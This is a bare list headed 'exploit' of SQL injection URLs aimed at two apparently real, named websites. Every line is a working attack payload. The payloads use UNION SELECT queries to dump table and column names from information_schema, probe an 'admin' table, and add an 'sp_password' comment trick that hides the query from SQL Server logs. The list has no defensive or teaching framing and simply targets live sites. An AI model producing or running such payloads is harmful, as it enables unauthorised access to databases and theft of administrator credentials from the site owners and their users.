exploit
http://www.vietphong.com.vn/product_detail.php?cat=64&id=-1 union all select 1,2,3,4,5,concat(table_name,char(124),char(124),column_name),7,8,9,10,11,12,13,14 from information_schema.columns/*http://www.phapvan.ca/noidung/Tin_tuc.asp?act=XemChiTiet&Cat_ID=2&News_ID=921'&LinksFrom=http://www.phapvan.ca/noidung/Tin_tuc.aspx
http://www.phapvan.ca/noidung/Tin_tuc.asp?act=XemChiTiet&Cat_ID=2&News_ID=921 union select 0 from admin%22having 1=1--sp_password &LinksFrom=http://www.phapvan.ca/noidung/Tin_tuc.aspx
http://www.phapvan.ca/noidung/Tin_tuc.asp?act=XemChiTiet&Cat_ID=2&News_ID=921 union select 0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from admin&LinksFrom=http://www.phapvan.ca/noidung/Tin_tuc.aspx